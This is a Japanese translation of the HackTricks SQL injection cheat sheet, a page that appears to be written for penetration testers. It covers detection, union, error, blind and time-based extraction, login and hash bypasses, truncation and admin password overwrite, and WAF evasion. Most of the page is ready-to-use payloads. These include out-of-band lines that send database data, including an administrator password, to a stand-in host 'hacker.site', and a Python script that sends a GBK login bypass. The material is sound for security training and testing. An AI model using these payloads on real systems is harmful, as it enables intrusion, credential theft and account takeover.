SQL Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

​​​​RootedCONスペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術的知識の促進を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。

SQLインジェクションとは?

SQLインジェクション は、攻撃者がアプリケーションのデータベースクエリに干渉することを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを表示変更、または削除することができます。このような行為は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービスの拒否を引き起こす可能性があります。

エントリーポイントの検出

サイトがSQLインジェクション(SQLi)に脆弱であるように見える場合、SQLi関連の入力に対する異常なサーバー応答があるとき、最初のステップクエリを中断することなくデータを注入する方法を理解することです。これには、現在のコンテキストから効果的に脱出する方法を特定する必要があります。これらは役立ついくつかの例です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、エラーが発生しないようにクエリを修正する方法を知っておく必要があります。クエリを修正するには、データを入力して前のクエリが新しいデータを受け入れるようにするか、単にデータを入力して最後にコメント記号を追加することができます。

エラーメッセージが表示される場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理演算による確認

SQLインジェクションの脆弱性を確認する信頼できる方法は、論理演算を実行し、期待される結果を観察することです。例えば、?username=PeterというGETパラメータが?username=Peter' or '1'='1に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示唆されます。

同様に、数学演算の適用も効果的な確認技術として機能します。例えば、?id=1?id=2-1にアクセスして同じ結果が得られる場合、SQLインジェクションを示しています。

論理演算確認を示す例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

この単語リストは、提案された方法でSQLインジェクションを確認するために作成されました:

811B
sqli-logic.txt

タイミングによる確認

場合によっては、テストしているページに変化が見られないことがあります。したがって、ブラインドSQLインジェクションを発見する良い方法は、DBにアクションを実行させ、ページの読み込みにかかる時間に影響を与えることです。 したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

場合によっては、sleep関数が許可されないことがあります。その場合、これらの関数を使用する代わりに、クエリを複雑な操作を実行させることができ、数秒かかるようにすることができます。これらの技術の例は、各技術ごとに別々にコメントされる予定です(もしあれば)

バックエンドの特定

バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_sleep_ 関数や、これらの関数を使用することができます(payloadsallthethingsの表):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

また、クエリの出力にアクセスできる場合は、データベースのバージョンを表示させることができます。

続いて、異なる種類のSQLインジェクションを悪用するためのさまざまな方法について説明します。MySQLを例として使用します。

PortSwiggerを使用した識別

ユニオンベースの悪用

カラム数の検出

クエリの出力が見える場合、これは悪用するための最良の方法です。 まず最初に、初期リクエストが返すカラムを特定する必要があります。これは、両方のクエリが同じ数のカラムを返す必要があるためです。 この目的のために通常使用される2つの方法があります:

ORDER BY / GROUP BY

クエリのカラム数を特定するには、ORDER BYまたはGROUP BY句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内のGROUP BYORDER BYの異なる機能にもかかわらず、両方はクエリのカラム数を確認するために同様に利用できます。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

クエリが正しくなるまで、より多くのNULL値を選択します:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null値を使用するべきです。なぜなら、クエリの両側のカラムの型が同じでなければならない場合があり、nullはすべてのケースで有効だからです。

データベース名、テーブル名、カラム名の抽出

次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルのカラム名を取得します:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。

隠れたユニオンベースの悪用

クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは隠れたユニオンベースのインジェクションの存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。

これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。

クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。

より包括的な洞察については、Healing Blind Injectionsで利用可能な完全な記事を参照してください。

エラーベースの悪用

何らかの理由でクエリ出力を見ることができないが、エラーメッセージ見ることができる場合、これらのエラーメッセージを使用してデータベースからデータをエクスフィルトレートすることができます。 ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪用

この場合、クエリの結果やエラーを見ることはできませんが、クエリがtrueまたはfalseの応答を返すときに、ページ上の異なる内容によって区別することができます。 この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

これは以前と同じケースですが、クエリからの真偽応答を区別する代わりに、SQLクエリのエラーがあるかどうかを区別することができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

時間ベースのSQLiの悪用

この場合、ページのコンテキストに基づいてクエリの応答区別する方法はありません。しかし、推測した文字が正しい場合、ページが読み込むのに時間がかかるようにすることができます。この技術は、タイミングで確認するために以前に使用されているのを見たことがあります。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタッククエリ

スタッククエリを使用して、複数のクエリを連続して実行できます。後続のクエリが実行される間、結果アプリケーションに返されません。したがって、この技術は主にブラインド脆弱性に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。

Oracleスタッククエリをサポートしていません。MySQL、Microsoft、およびPostgreSQLはそれをサポートしています: QUERY-1-HERE; QUERY-2-HERE

バンド外の悪用

他の悪用方法が機能しなかった場合、データベースが情報をあなたが制御する外部ホストに流出させるように試みることができます。たとえば、DNSクエリを介して:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEを介したアウトオブバンドデータ流出

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された悪用

SQLMap チートシートを確認して、sqlmapを使用してSQLi脆弱性を悪用してください。

技術特有の情報

SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本では、データベース技術に依存するいくつかのトリックを見つけてください:

また、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionにあります。

​​​​​RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの一つです。技術知識の促進を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。

認証バイパス

ログイン機能をバイパスするために試すリスト:

Login bypass List

生のハッシュ認証バイパス

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このクエリは、認証チェックで生の出力に対してtrueを使用した場合にMD5が脆弱性を示すことを示しています。これにより、システムはSQLインジェクションに対して脆弱になります。攻撃者は、ハッシュ化されたときに予期しないSQLコマンドの一部を生成する入力を作成することでこれを悪用し、不正アクセスを引き起こすことができます。

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

注入されたハッシュ認証バイパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推奨リスト:

各行のリストをユーザー名として使用し、パスワードは常に: Pass1234. (このペイロードは、このセクションの最初で言及された大きなリストにも含まれています)

1KB
sqli-hashbypass.txt

GBK 認証バイパス

IF ' がエスケープされている場合は %A8%27 を使用でき、' がエスケープされると次のように作成されます: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Pythonスクリプト:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットインジェクション(マルチコンテキスト)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

既存のオブジェクト/ユーザーのパスワードを変更する

そのためには、「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する(おそらくadminの場合)ために何かを修正する必要があります:

  • 名前をAdMIn(大文字と小文字の組み合わせ)としてユーザーを作成する

  • 名前を**admin=**としてユーザーを作成する

  • SQLトランケーション攻撃(ユーザー名やメールに長さ制限がある場合) --> 名前をadmin [たくさんのスペース] aとしてユーザーを作成する

SQLトランケーション攻撃

データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザーadminを偽装したい場合は、"admin [30スペース] a"というユーザー名を作成してみてください。

データベースは、入力されたユーザー名がデータベース内に存在するか確認します。もし存在しなければユーザー名最大許可文字数(この場合は"admin [25スペース]")に切り詰め、その後、データベース内でユーザー「admin」を新しいパスワードで更新する際に、末尾のすべてのスペースを自動的に削除します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。**

詳細情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL挿入時間ベースのチェック

','',''をできるだけ追加して、VALUESステートメントを終了させると考えます。遅延が実行される場合、SQLインジェクションがあります。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が発生する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。

Example Payload Injection:

注入ペイロードは次のように作成される可能性があり、usersテーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

以下のように機能します:

  • クエリは、generic_user@example.com用の1行と、admin_generic@example.com用の別の1行を挿入しようとします。

  • admin_generic@example.com用の行がすでに存在する場合、ON DUPLICATE KEY UPDATE句がトリガーされ、MySQLに既存の行のpasswordフィールドを「bcrypt_hash_of_newpassword」に更新するよう指示します。

  • その結果、admin_generic@example.comを使用して、bcryptハッシュに対応するパスワードで認証を試みることができます(「bcrypt_hash_of_newpassword」は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。

情報を抽出する

同時に2つのアカウントを作成する

新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数または16進数の使用

この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください。

hex2decsubstr を使用して:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取得するには、次のようにします:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace (および substr) を使用して:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCONスペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。 技術的知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。

Routed SQL injection

Routed SQL injection は、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF バイパス

初期バイパスはこちら

スペースなしバイパス

スペースなし (%20) - ホワイトスペースの代替を使用してバイパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを使用してバイパス

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 括弧を使用してバイパス

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET、FROM、JOINを使用したバイパス

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

一般的なバイパス

キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

キーワードを無視してブラックリスト - 同等の演算子を使用してバイパス

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

このトリックの詳細な説明はgosecure blogで見つけることができます。 基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用できます:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名制限のバイパス

まず第一に、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、単に次のようにすることができます: 0 UNION SELECT * FROM flag

テーブルの名前を使用せずに第三カラムにアクセスすることが可能で、次のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; したがって、sqlinjectionでは次のようになります:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

または カンマバイパス を使用します:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取られました。

WAFバイパスサジェスターツール

その他のガイド

ブルートフォース検出リスト

​​​​​​​RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの一つです。技術知識の促進を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated